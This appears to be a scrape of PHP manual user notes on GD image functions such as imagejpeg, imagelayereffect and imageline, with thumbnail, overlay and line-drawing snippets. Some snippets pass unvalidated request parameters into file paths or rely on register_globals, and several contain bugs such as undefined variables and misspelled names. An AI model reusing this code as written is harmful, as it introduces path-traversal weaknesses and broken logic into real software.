$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagejpeg($im);

?>
Anonymous 16-Mar-2008 10:24
Here is a function to resize an image and maintain aspect ratio. It will resize jpeg, gif or png and could easily be modified to add bmp. The name field is the destination of the file minus the file extension:

<?php
//name= filename minus type
    function createImage($uploadedfile,$newWidth,$name)
    {
        // Capture the original size of the uploaded image
        if(!$info=getimagesize($uploadedfile))
          return false;

        switch ($info['mime'])
        {
            case 'image/jpeg':
                $src = imagecreatefromjpeg($uploadedfile);
                break;
            case 'image/gif':
                $src = imagecreatefromgif($uploadedfile);
                break;
            case 'image/png':
                $src = imagecreatefrompng($uploadedfile);
                break;
            default:
                return false;
        }

        //Change the filename to add the filetype
        $mime=split("image/",$info['mime']);
        $filename=$name.".".$mime[1];

        $size = getimagesize($uploadedfile);
        $newHeight=aspect_ratio($size[0],$newWidth,$size[1]);

        $tmp=imagecreatetruecolor($newWidth,$newHeight);

        // this line actually does the image resizing, copying from the original
        // image into the $tmp image
        imagecopyresampled($tmp,$src,0,0,0,0,$newWidth,$newHeight,$info[0], $info[1]);

        switch ($info['mime'])
        {
            case 'image/jpeg':
                imagejpeg($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/gif':
                imagegif($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/png':
                imagepng($tmp,$filename); //100 is the quality settings, values range from 0-100.
                break;
        }

        imagedestroy($src);
        imagedestroy($tmp); // NOTE: PHP will clean up the temp file it created when the request
        // has completed.
        return true;
    }

    if(!createImage($uploadedfile,100, "uploaded_images/imgname"))
    {
      echo "error";
    }
?>
Michaelsoft 16-Oct-2007 02:50
[Editor's note: fixed according to the note of roberto at ilpiola.it]

I could not find any information on changing the DPI information on a JPG file using the GD lib. Since changing this does not resize or scale the actual image, it is only a header-setting.
The following snipplet will save your $image to $file and set the DPI to 150.

<?php

  imagejpeg($image, $file, 75);

  // Change DPI
  $dpi_x   = 150;
  $dpi_y   = 150;

  // Read the file
  $size    = filesize($file);
  $image   = file_get_contents($file);

  // Update DPI information in the JPG header
  $image[13] = chr(1);
  $image[14] = chr(floor($dpi_x/256));
  $image[15] = chr(      $dpi_x%256);
  $image[16] = chr(floor($dpi_y/256));
  $image[17] = chr(      $dpi_y%256);

  // Write the new JPG
  $f = fopen($file, 'w');
  fwrite($f, $msg, $size);
  fclose($f);

?>

P.s. not fully tested (yet) but it works for my images ...
Elliott Brueggeman 30-Jul-2007 09:37
I did an experiment with the image quality parameter of the imagejpeg() function when creating jpegs. I found the optimal image quality with file size is taken into account to be 80 - very close to the default value of 75.

Anything over 80 results in an unnecessary increase in file size without much increase in image quality.

Results and sample pictures: http://www.ebrueggeman.com/article_php_image_optimization.php
Pedja (pedja at supurovic dot net) 26-Jul-2007 10:59
Here is sample function that creates thumbnail of source JPEG file. Thumbnail wil be in square form (with and height are the same), and original image cropped to fit in.

Parameters:

$p_thumb_file - name of the file (including path) where thumb should be saved to

$p_photo_file - nam of the source JPEG file (including path) thatthumbnail should be created of

$p_max_size - with and height (they will be the same) in pixels for thumbnail image

$p_quality - quality of jpeg thumbnail

<?php

function photoCreateCropThumb ($p_thumb_file, $p_photo_file, $p_max_size, $p_quality = 75) {

    $pic = @imagecreatefromjpeg($p_photo_file);

    if ($pic) {
        $thumb = @imagecreatetruecolor ($p_max_size, $p_max_size) or die ("Can't create Image!");
        $width = imagesx($pic);
        $height = imagesy($pic);
        if ($width < $height) {
                $twidth = $p_max_size;
                $theight = $twidth * $height / $width;
                imagecopyresized($thumb, $pic, 0, 0, 0, ($height/2)-($width/2), $twidth, $theight, $width, $height);
        } else {
                $theight = $p_max_size;
                $twidth = $theight * $width / $height;
                imagecopyresized($thumb, $pic, 0, 0, ($width/2)-($height/2), 0, $twidth, $theight, $width, $height);
        }

        ImageJPEG ($thumb, $p_thumb_file, $p_quality);
    }

}

?>
webmaster at jongliertreff dot de 25-Aug-2006 04:56
Here's another on-the-fly thumbnail creation script.
When I scripted the pictuerviewer on my page, I had all the pictures only in full size and qualit, because I wanted the posibility fur visitors to download the pictures.
But as Imagesizes of more than 4 MP are to large for websites, I created thumbnails and the smaller pictures on the fly. But I found out, that the Script needed too much RAM, especially in the thumbnail overview, when I had more then 50 thumbnails to create on the fly at the same time.

So I modified my image creator and my viewer to let them store images, that are created. So only the first visitor has to wait (which is usually me for controlling the uploads und updates), all other visitors get the stored images, which is much faster.

Create different folders. I have a main folder called 'imagesdb' and the tree subfolders full (Full quality images), show (images for the picture viewer) and thumb (for thumbnails in overview).

Store the script for example as image.php and link it like that:

<?PHP
$image_name = "foo.jpg";
$style = "show";
     // I've taken the foldernames. It's easier. For the
     //thumbnails replace "show" with "thumb".
$image_name = "imagesdb/$style/$image_name";
if(!file_exists($image_name))
        $image_name = "image.php?image_name=$image_name&style=$style";
     // only if file doesn't exist call the on-the-fly creating file
?>

Now the main script, stored in the file image.php:

<?PHP

$image_name = $_GET['image_name'];
$style = $_GET['style'];

     // Now set the maximum sizes to the different styles.
     // You may set additional styles, but remember to
     // create the according subfolders.

switch($style) {
  case "show":
    $max_size = 800;
    break;
  case "thumb":
    $max_size = 125;
}

$dest_file = "imagesdb/$style/$image_name";
     // set output file
$image_file = "imagesdb/full/$image_name";
     // set source file
$size = getimagesize($image_file);
     // get original size

if($size[0] > $size[1]) {
  $divisor = $size[0] / $max_size;
}
else {
  $divisor = $size[1] / $max_size;
}
     // to get allways pictures of the same size, which ist
     // mostly wanted in imageviewers, look what ist larger:
     // width or height

$new_width = $size[0] / $divisor;
$new_height = $size[1] / $divisor;
     // set new sizes

settype($new_width, 'integer');
settype($new_height, 'integer');
     // sizes should be integers

$image_big = imagecreatefromjpeg($image_file);
     // load original image
$image_small = imagecreatetruecolor($new_width, $new_height);
     // create new image
imagecopyresampled($image_small, $image_big, 0,0, 0,0, $new_width,$new_height, $size[0],$size[1]);
     // imageresampled whill result in a much higher quality
     // than imageresized
imagedestroy($image_big);
     // the original data are no longer used

header("Content-type: image/jpeg");

if($style=="show" || $style=="thumb") {
  if(!file_exists($dest_file))
    imagejpeg($image_small, $dest_file, 100);
}
     // if you have set additional sizese put them in the
     // if-arguments, too.
     // if someone calls the image.php directly in the
     // browser with imagenames allready existing, they
     // won't be overwritten

imagejpeg($image_small, '', 100);
imagedestroy($image_small);
     // finally send image to browser and destroy no longer
     // needed data.

?>

As this website helped me for several times in the past and for creating this script, I hope I can help others with this script saving the time for developing a much more performant solution than an allways-on-the-fly-creating script.
chris dot calo at gmail dot com 24-Jul-2006 07:30
Thanks to Stuart and Darren for the corrections to the create_thumbnail function.  Another note on that function: imagecreatefromwbmp was incorrectly used.  WBMPs are wireless bitmaps, not windows bitmaps (thanks to clambert at whitecrown), so the thumbnail routine as is will not be able to handle windows bitmaps.  See the notes at http://us2.php.net/manual/en/function.imagecreatefromwbmp.php for tips on working with windows bitmaps.
stuart at purpletoucan dot com 23-Jul-2006 10:55
Thanks to Chris dot Calo for the thumbnail snippet.  The file type issue is easily resolved by getting the type from the file with getimagesize, and you can handle unsupported types at that stage too.  Thus:

   list($img_width,$img_height, $type) = getimagesize($source_file); // Get the original dimentions
   if ($type != 1 && $type != 2 && $type != 3 && $type != 15) { die("Your file is not a supported format"); }

...and then later check the type again to open the image correctly:

   if ( $type == 1 ) { $img_source = imagecreatefromgif($source_file); }
   else if ( $type == 2 ) { $img_source = imagecreatefromjpeg($source_file); }
   else if ( $type == 3 ) { $img_source = imagecreatefrompng($source_file); }
   else if ( $type == 15 ) { $img_source = imagecreatefromwbmp($source_file); }
Darren Kulp ( kulp at thekulp dot com ) 18-Jul-2006 08:47
With regard to chris.calo's code:

// The following block retrieves the source file.  It assumes the filename extensions match the file's format.
   if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
   if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
 ... etc.

It assumes more than that, namely that the filename does not contain the strings '.gif', '.jpg', '.jpeg', '.bmp', or '.png' *anywhere* in the string. Some valid files with special filenames could break this; for example, a file named "used.to.be.a.png.file.gif" would cause this script to attempt to load the file as a PNG. Obviously this is a rare case, but the issue could be easily avoided by using "else ifs" (uses less CPU time) or checking that the extension abuts the end of the string or both.

That said, the whole business could be avoided if PHP didn't clutter the namespace with different functions to do the same thing with different image formats. Ick.
chris dot calo at gmail dot com 17-Jul-2006 02:44
function create_thumbnail( $source_file, $destination_file, $max_dimension)
{
    list($img_width,$img_height) = getimagesize($source_file); // Get the original dimentions
    $aspect_ratio = $img_width / $img_height;

    if ( ($img_width > $max_dimension) || ($img_height > $max_dimension) ) // If either dimension is too big...
    {
        if ( $img_width > $img_height ) // For wide images...
        {
            $new_width = $max_dimension;
            $new_height = $new_width / $aspect_ratio;
        }
        elseif ( $img_width < $img_height ) // For tall images...
        {
            $new_height = $max_dimension;
            $new_width = $new_height * $aspect_ratio;
        }
        elseif ( $img_width == $img_height ) // For square images...
        {
            $new_width = $max_dimension;
            $new_height = $max_dimension;
        }
        else { echo "Error reading image size."; return FALSE; }
    }
    else { $new_width = $img_width; $new_height = $img_height; } // If it's already smaller, don't change the size.

    // Make sure these are integers.
    $new_width = intval($new_width);
    $new_height = intval($new_height);

    $thumbnail = imagecreatetruecolor($new_width,$new_height); // Creates a new image in memory.

    // The following block retrieves the source file.  It assumes the filename extensions match the file's format.
    if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
    if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
    { $img_source = imagecreatefromjpeg($source_file); }
    if ( strpos($source_file,".bmp") ) { $img_source = imagecreatefromwbmp($source_file); }
    if ( strpos($source_file,".png") ) { $img_source = imagecreatefrompng($source_file); }

    // Here we resample and create the new jpeg.
    imagecopyresampled($thumbnail, $img_source, 0, 0, 0, 0, $new_width, $new_height, $img_width, $img_height);
    imagejpeg( $thumbnail, $destination_file, 100 );

    // Finally, we destroy the two images in memory.
    imagedestroy($img_source);
    imagedestroy($thumbnail);
}
your [dot] sheepy [at] gmail [dot] com 03-Apr-2006 01:34
Regarding Carl Gieringer's comment, it is possible to have PHP files in utf-8.  Just make sure the editor does not output BOM, which is unnecessary in utf-8 anyway.

Except for any editors from Microsoft, most programmer's editors that supports utf allows you to surpress BOM.
03-Jan-2006 05:59
Hi

I had similar problem with safe mode. My solution is:

before imagejpeg(), touch() etc.
write:
ini_set(safe_mode,Off);
and after everything:
ini_set(safe_mode,On);

strange, but it works
Chears2All
Kenneth Keiter 17-Dec-2005 08:59
So.. after messing around with this beast of a function for hours, I discovered that it DOES NOT preserve the resource it is using the create the image, nor do imagepng() or imagegif(). By this I mean that you can not run two imagejpeg(), imagepng() or imagegif() calls on the same resource. Another possibly undocumented quirk... :-(
moron at industrial dot org 02-Nov-2005 08:12
Please note that there is a bug report open for the currently broken safe_mode behaviour on this function:

http://bugs.php.net/?id=35060

According to the PHP staffer who has responded the docs are wrong (I don't agree but I'm also not their employee).

The work around is to use touch() (or any other file system function that can do this) to create the file first before using imagejpeg().
mbailey [at] aethon [dt] co [dt] uk 18-Sep-2005 01:46
>>Bram Van Dam's

note below is missing "()" from the ob_end_clean call:

ob_end_clean; // stop this output buffer

should read

ob_end_clean(); // stop this output buffer

You can then use this for adding content-length headers (for example flash requires a content length in advance to create loaders)

e.g.

...

ob_start(); // start a new output buffer
   imagejpeg( $newimage, "", 90 );
   $ImageData = ob_get_contents();
   $ImageDataLength = ob_get_length();
ob_end_clean(); // stop this output buffer

header("Content-type: image/jpeg") ;
header("Content-Length: ".$ImageDataLength);
echo $ImageData;

...
Bram Van Dam 19-Aug-2005 12:50
If you wish to capture the jpg data into a variable, rather than outputting it or saving it into a file (perhaps so you can put it in a database), you might want to consider output buffering. Something along these lines should work:

<?php
ob_start(); // start a new output buffer
    imagejpeg( $newimage, NULL, 100 );
    $ImageData = ob_get_contents();
ob_end_clean; // stop this output buffer
?>
John Luetke <johnl1479 gmail com> 05-Aug-2005 05:53
Rewrote the manual example into this function for creating a thumbnail image:

function thumbnail_jpeg ($original, $thumbnail, $width, $height, $quality) {
  list($width_orig, $height_orig) = getimagesize($original);
  if ($width && ($width_orig < $height_orig)) {
    $width = ($height / $height_orig) * $width_orig;
  }
        else {
    $height = ($width / $width_orig) * $height_orig;
  }
  $image_p = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($originial);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
  imagejpeg($image_p, $thumbnail, $quality);
  return;
}
ghokanso at cs dot ndsu dot edu 08-Jun-2005 09:54
When displaying an image using imagepng or imagejpeg, you may want/need to call "header("Content-type: image/jpeg")" before the imagepng and imagejpeg functions.
It appears that some servers/browers are striping out the default header so the image is not rendered and appears as raw data.
(Firefox 1.02+ and OSX Safari for example)
wojteksw at go2 dot pl 03-Apr-2005 03:37
I have changed one line in the script of Kokesh
25-Jun-2004 06:42 listed above, and now it generates better quality thumbnails.
You have to change function imagecopyresized() to imagecopyresampled()
Kokesh 25-Jun-2004 09:42
Here is the simple, but powerful script for creating thumbnails on the fly.
You can include the script
directly to www page - just put it in <img src= tag.
with width 150pix.
This resizer respects the ASPECT RATIO.
Here is the script:
<?php
// Use it this way: resize.php?pic=imageurl&width=width_in_pixels
// kokesh@kokeshnet.com 2004
    header("Content-type: image/jpeg");
    $im     = imagecreatefromjpeg($pic);
    $orange = imagecolorallocate($im, 220, 210, 60);
    $px     = (imagesx($im) - 7.5 * strlen($string)) / 2;

    $old_x=imageSX($im);
    $old_y=imageSY($im);

    $new_w=(int)($width);
    if (($new_w<=0) or ($new_w>$old_x)) {
      $new_w=$old_x;
    }

    $new_h=($old_x*($new_w/$old_x));

    if ($old_x > $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$old_y*($new_h/$old_x);

    }
    if ($old_x < $old_y) {
        $thumb_w=$old_x*($new_w/$old_y);
        $thumb_h=$new_h;
    }
    if ($old_x == $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$new_h;
    }
     $thumb=ImageCreateTrueColor($thumb_w,$thumb_h);
     imagecopyresized($thumb,$im,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y);

    imagejpeg($thumb,"",90);
    imagedestroy($thumb);
?>
25-May-2004 11:42
A word of warning when outputting images to the browser...

Make sure there is no extra spaces around the <?php ?> tags, in the file you are editing, and also any included files.

I began to think there was a bug in GD or something, and I checked the file I was working on, but forgot about the includes...

Hours gone..
gzink at zinkconsulting dot com 01-Jan-2004 03:17
Don't forget that JPEG compression has artifacts! And they're not all really obvious. The PHP JPEG compression is pretty decent, but it seems to generally:

-Lighten the image overall, by a reasonable amount (never seen this before, but it will drive graphic designers crazy, you might want to darken the image before compressing it)
-Reduce saturation, especially with images with lots of points of different color within a few pixels of each other (this is a documented feature of JPEG)
-Seriously mess with blue colors, which is common to all JPEG but really annoying in some situations with blue and black or other detailed blue parts

You might want to consider using imagepng() and outputting a PNG image instead of a JPEG if any of the above affect you, or your image is not very photo-like. Sometimes I have an algorithm compare JPEG to PNG for an image and send the smaller version to the user.

Also, when using imagepng(), you should use imageinterlace() before it 95% of the time. Interlaced JPEGs load progressively, improving in quality as the image loads, so users on slower connections see the whole image at low quality. All this happens without affecting the file size (actually, sometimes the file size is smaller!) or final quality.

Hope this helps a few people out. It's not all that obvious without lots of playing around.

-Galen
http://zinkconsulting.com/
irishcybernerd at email dot com 29-May-2003 10:33
Rather than using the temporary file, as described above, you can buffer the output stream. Someone else showed me this, and it seems to work very nicely.

    //Start buffering the output stream
    ob_start();

    // output the image as a file to the output stream
    Imagejpeg($im);

    //Read the output buffer
    $buffer = ob_get_contents();

    //clear the buffer
    ob_end_clean();

    //use $buffer as you wish...
dklein at gmx dot de 11-Dec-2001 08:52
Looks like any specified resolution settings in a JPEG file get lost when using imageJPEG() function in a script.
I had a high resolution JPEG which i added text to with imagestringup() so my customer can print the emailed JPEG as a filled form, but printing both Graphics from Photoshop revealed that any JPEG created is downsampled to 72 dpi, while width and height is kept.
(72 dpi is the standard web resolution)
Nothing to wonder about, but maybe if you read this you dont need to scratch your head :)


アルファブレンディングフラグを設定し、レイヤ効果を使用する

  • ≪ imagejpeg
  • imageline ≫
  • PHP Manual
  • GD および Image 関数
  • アルファブレンディングフラグを設定し、レイヤ効果を使用する

imagelayereffect

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagelayereffect — アルファブレンディングフラグを設定し、レイヤ効果を使用する

説明

imagelayereffect ( resource $image , int $effect ) : bool

アルファブレンディングフラグを設定し、レイヤ効果を使用します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

effect

以下の定数のいずれか。

IMG_EFFECT_REPLACE
ピクセルの置換を使用します (imagealphablending() に true を渡すのと同じです)。
IMG_EFFECT_ALPHABLEND
通常のピクセルブレンディングを使用します (imagealphablending() に false を渡すのと同じです)。
IMG_EFFECT_NORMAL
IMG_EFFECT_ALPHABLEND と同じです。
IMG_EFFECT_OVERLAY
オーバーレイを使用すると、背景の黒い部分は黒のまま。 一方背景の白い部分は白のままとなります。 背景のグレーな部分は、前景のピクセルの色となります。
IMG_EFFECT_MULTIPLY
多重効果を使ったオーバーレイを使用します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.2.0 | IMG_EFFECT_MULTIPLY が追加されました (システムの libgd が 2.1.1 以降であるか、バンドルされている libgd を使う必要があります)。

例

例1 imagelayereffect() の例

<?php
// 画像を準備します
$im = imagecreatetruecolor(100, 100);

// 背景を設定します
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 220, 220, 220));

// オーバーレイアルファブレンディングフラグを適用します
imagelayereffect($im, IMG_EFFECT_OVERLAY);

// 2 つのグレーの楕円を描画します
imagefilledellipse($im, 50, 50, 40, 40, imagecolorallocate($im, 100, 255, 100));
imagefilledellipse($im, 50, 50, 50, 80, imagecolorallocate($im, 100, 100, 255));
imagefilledellipse($im, 50, 50, 80, 50, imagecolorallocate($im, 255, 100, 100));

// 出力します
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagelayereffect()

User Contributed Notes

rx 23-Sep-2014 12:15
IMG_EFFECT_OVERLAY doesn't work in PHP 5.6.0 with GD version: 2.1.0-alpha.
andrew at iwebsolutions dot co dot uk 07-Oct-2008 03:38
I have been getting a fatal error:

Fatal error: Call to undefined function imagelayereffect()

This doesn't work with Ubuntu server (8.04 lts) and the php5-gd package.  If you need this you will have to recompile PHP with GD built-in.
[myname] at mac dot com 23-Feb-2008 11:45
^^ my name is coreyward ^^

imagelayereffect needs to be applied to the destination image, not the source image. As noted, the only useful "effect" as of this time is IMG_EFFECT_OVERLAY since the others are merely another way of setting the alpha blending flag.

You can also use imagecopymerge with a lower pct argument to blend two images with more control over the opacity at which the top image is blended.

<?

// overlays $im_src onto $im_dst properly (assuming same dims)

imagelayereffect($im_dst, IMG_EFFECT_OVERLAY);
imagecopy($im_dst, $im_src, 0, 0, 0, 0, $im_dst_x, $im_dst_y);

?>
Remon 05-Feb-2008 01:12
I found the following example on a Chinese site and translated and adjusted it. It creates a portrait from the sample picture.

<?php

// Portrait image
$im = imagecreatefromjpeg( "sample.jpg");

// Get width and height
$w = imagesx($im);
$h = imagesy($im);

// Non-through
$c_visible = 0x007F7F7F;
// Background (black)
$c_bg = 0x00000000;

// Create mask
$im_mask = imagecreatetruecolor($w,$h);
imageFilledRectangle($im_mask, 0,0, $w,$h, $c_bg);
imageFilledEllipse ($im_mask, $w/2,$h/2, $w*.9,$h*.9, $c_visible);

// Only overlay seems to something useful
imagelayereffect($im_mask, IMG_EFFECT_OVERLAY);

imagecopy($im_mask, $im, 0,0, 0,0, $w,$h);
imagedestroy($im);

imagepng($im_mask);
imagedestroy($im_mask);

?>

Try removing the 'create mask' code and just add another image with 'createimagefromjpeg' to see 'normal' overlay. It blends the colors like different layers in Photoshop.


直線を描画する

  • ≪ imagelayereffect
  • imageloadfont ≫
  • PHP Manual
  • GD および Image 関数
  • 直線を描画する

imageline

(PHP 4, PHP 5, PHP 7, PHP 8)

imageline — 直線を描画する

説明

imageline ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color ) : bool

指定したふたつの点を結ぶ直線を描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x1

最初の点の x 座標。

y1

最初の点の y 座標。

x2

二番目の点の x 座標。

y2

二番目の点の y 座標。

color

直線の色。imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 太い線を描画する

<?php

function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1)
{
    /* この方法は直行する線の場合のみうまく動作します
    imagesetthickness($image, $thick);
    return imageline($image, $x1, $y1, $x2, $y2, $color);
    */
    if ($thick == 1) {
        return imageline($image, $x1, $y1, $x2, $y2, $color);
    }
    $t = $thick / 2 - 0.5;
    if ($x1 == $x2 || $y1 == $y2) {
        return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color);
    }
    $k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q
    $a = $t / sqrt(1 + pow($k, 2));
    $points = array(
        round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a),
        round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a),
        round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a),
        round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a),
    );
    imagefilledpolygon($image, $points, 4, $color);
    return imagepolygon($image, $points, 4, $color);
}

?>

参考

  • imagecreatetruecolor() - TrueColor イメージを新規に作成する
  • imagecolorallocate() - 画像で使用する色を作成する

User Contributed Notes

teixeira dot cmo at gmail.com 29-Apr-2017 11:08
If you draw on a canvas, using js ctx.lineJoin = "round"; and then try to do the same on a GD $img the result will not be the same.
Here is a simple code to draw a line similar to one made using lineJoin round.

$w=5; //set your line thickness;
imagesetthickness($img, $w);
imageline($img, $x1, $y1, $x2, $y2, $color);
imagesetthickness($img, 1);
imagefilledellipse ( $img , $x2 , $y2 , $w ,$w, $color);
v dot krypton at yandex dot ru 15-Jul-2016 01:40
This function draw border to image.
function imageborder($img,$color) {
    $width = imagesx($img);
    $height = imagesy($img);
    ImageLine($img, 0, 0, $width, 0, $color);
    ImageLine($img, 0, 0, 0, $height, $color);
    ImageLine($img, $width-1, 0, $height-1, $height, $color);
    ImageLine($img, 0, $height-1, $width, $height-1, $color);
}
Nils 15-Mar-2012 12:57
A quick function using imageline that I wrote so i could specify a starting point, angle and length of vector.

Thought other people might find this useful.

<?php
$size = 600;
$img = imagecreatetruecolor($size, $size);

$white = imagecolorallocate($img, 255, 255, 255);
$black = imagecolorallocate($img, 0, 0, 0);

imagefilledrectangle($img,0,0,$size,$size,$white);

function Vector($palette,$startx,$starty,$angle,$length,$colour){
    $angle = deg2rad($angle);
    $endx = $startx+cos($angle)*$length;
    $endy = $starty-sin($angle)*$length;
    return(imageline($palette,$startx,$starty,$endx,$endy,$colour));
}

Vector($img,$size/2,$size/2,30,200,$black);

header("Content-type: image/png");
imagepng($img);

?>

For this script angles work in a anti-clockwise direction (modify + and - in function to change start of 0 degrees and also direction of angle calculated)
Anonymous 24-Jul-2011 09:44
The most bold-line-functions i found have problems with lines in a certian direction (they draw smaller lines with some angles). To do a real bold line just use this function:

<?php
function imageBoldLine($resource, $x1, $y1, $x2, $y2, $Color, $BoldNess=2, $func='imageLine')
{
 $center = round($BoldNess/2);
 for($i=0;$i<$BoldNess;$i++)
 {
  $a = $center-$i; if($a<0){$a -= $a;}
  for($j=0;$j<$BoldNess;$j++)
  {
   $b = $center-$j; if($b<0){$b -= $b;}
   $c = sqrt($a*$a + $b*$b);
   if($c<=$BoldNess)
   {
    $func($resource, $x1 +$i, $y1+$j, $x2 +$i, $y2+$j, $Color);
   }
  }
 }
}
?>
allenn at hot dot ee 31-May-2010 02:55
Function drawing of a line by a brush uses midpoint circle algorithm..., if dullness I agree to remove :)))

<?php
//function drawLine(resource$image,int $x0,int $y0,int $x1,int $y1,int $lineWidth,int $color)
function drawLine($image,$x0, $y0,$x1, $y1,$radius,$color)
{
  $f = 1 - $radius;
  $ddF_x= 1;
  $ddF_y = -2 * $radius;
  $x= 0;
  $y = $radius;
    imageline($image,$x0, $y0 + $radius,$x1, $y1 + $radius,$color);
     imageline($image,$x0, $y0 - $radius,$x1, $y1 - $radius,$color);
    imageline($image,$x0 + $radius, $y0,$x1 + $radius, $y1,$color);
    imageline($image,$x0 - $radius, $y0,$x1 - $radius, $y1,$color);

  while($x< $y)
  {
    if($f >= 0)
    {
      $y--;
      $ddF_y += 2;
      $f += $ddF_y;
    }
    $x++;
    $ddF_x+= 2;
    $f += $ddF_x;
    imageline($image,$x0 + $x, $y0 + $y,$x1 + $x, $y1+ $y,$color);
       imageline($image,$x0 - $x, $y0 + $y,$x1 - $x, $y1 + $y,$color);
       imageline($image,$x0 + $x, $y0 - $y,$x1 + $x, $y1 - $y,$color);
       imageline($image,$x0 - $x, $y0 - $y,$x1 - $x, $y1 - $y,$color);
       imageline($image,$x0 + $y, $y0 + $x,$x1 + $y, $y1 + $x,$color);
       imageline($image,$x0 - $y, $y0 + $x,$x1 - $y, $y1 + $x,$color);
       imageline($image,$x0 + $y, $y0 - $x,$x1 + $y, $y1 - $x,$color);
       imageline($image,$x0 - $y, $y0 - $x,$x1 - $y, $y1 - $x,$color);

  }
}
header ('Content-type: image/png');
$img = imagecreatetruecolor(600,600);
$col = imagecolorallocate($img,0,255,252);
//use the function
rasterCircle($img,50, 50,540,540,40,$col);
imagepng($img);
imagedestroy($img);
?>
sbm007 at gmail dot com 15-Nov-2009 03:17
Here is a analog clock representation of the system time along with digits for hours and little dots for minutes/seconds:

<?php
$img = imagecreatetruecolor(450, 450);

$white = imagecolorallocate($img, 255, 255, 255);
$red = imagecolorallocate($img, 255, 0, 0);
$black = imagecolorallocate($img, 0, 0, 0);
$grey = imagecolorallocate($img, 211, 211, 211);

imagefill($img, 0, 0, $white);
imagearc($img, 224, 224, 400, 400, 0, 0, $black);
imagefilledarc($img, 224, 224, 15, 15, 0, 0, $black, IMG_ARC_PIE);

for ($zz = 0; $zz < 60; $zz++) {
    $digitCoords['x'][] = 175 * cos(deg2rad(($zz-10) * (360/60))) + 224;
    $digitCoords['y'][] = 175 * sin(deg2rad(($zz-10) * (360/60))) + 224;
}

for ($zz = 0; $zz < 60; $zz++) {
    if ($zz % 5 == 0)
        imagestring($img, 5, $digitCoords['x'][$zz] - 4, $digitCoords['y'][$zz] - 6, ($zz/5) + 1, $black);
    else
        imagefilledarc($img, $digitCoords['x'][$zz], $digitCoords['y'][$zz], 3, 3, 0, 0, $grey, IMG_ARC_PIE);
}

$seconds = date('s');
$minutes = date('i') + ($seconds/60);
$hours = date('h') + ($minutes/60);

$r_sec = 175;
$r_min = 175;
$r_hr = 125;

$x_sec = $r_sec * cos(deg2rad(($seconds-15) * (360/60))) + 224;
$y_sec = $r_sec * sin(deg2rad(($seconds-15) * (360/60))) + 224;

$x_min = $r_min * cos(deg2rad(($minutes-15) * (360/60))) + 224;
$y_min = $r_min * sin(deg2rad(($minutes-15) * (360/60))) + 224;

$x_hr = $r_hr * cos(deg2rad(($hours-3) * (360/12))) + 224;
$y_hr = $r_hr * sin(deg2rad(($hours-3) * (360/12))) + 224;

imageline($img, 224, 224, $x_sec, $y_sec, $red);
imagesetthickness($img, 3);
imageline($img, 224, 224, $x_min, $y_min, $black);
imagesetthickness($img, 5);
imageline($img, 224, 224, $x_hr, $y_hr, $black);

header("Content-type: image/png");
imagepng($img);

imagedestroy($img);
?>
Anonymous 12-Jul-2009 01:16
Here's another way of modifying likavcan's code to display filled arrows. This makes use of imagefilledpolygon(...) instead of recursive function calls.

<?php
function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {
    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imagefilledpolygon($im, array($x2, $y2, $x3, $y3, $x4, $y4), 3, $color);
}
?>
huirong dot jin at gmail dot com 01-Feb-2008 08:10
An example to draw Lissajous Curve (http://en.wikipedia.org/wiki/Lissajous_curve):
x = a1 * cos(t/T1);
y = a2 * sin(t/T2);

You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");

$T1 = 20;
$T2 = 30;

$myImage = @imagecreatetruecolor(640, 480)
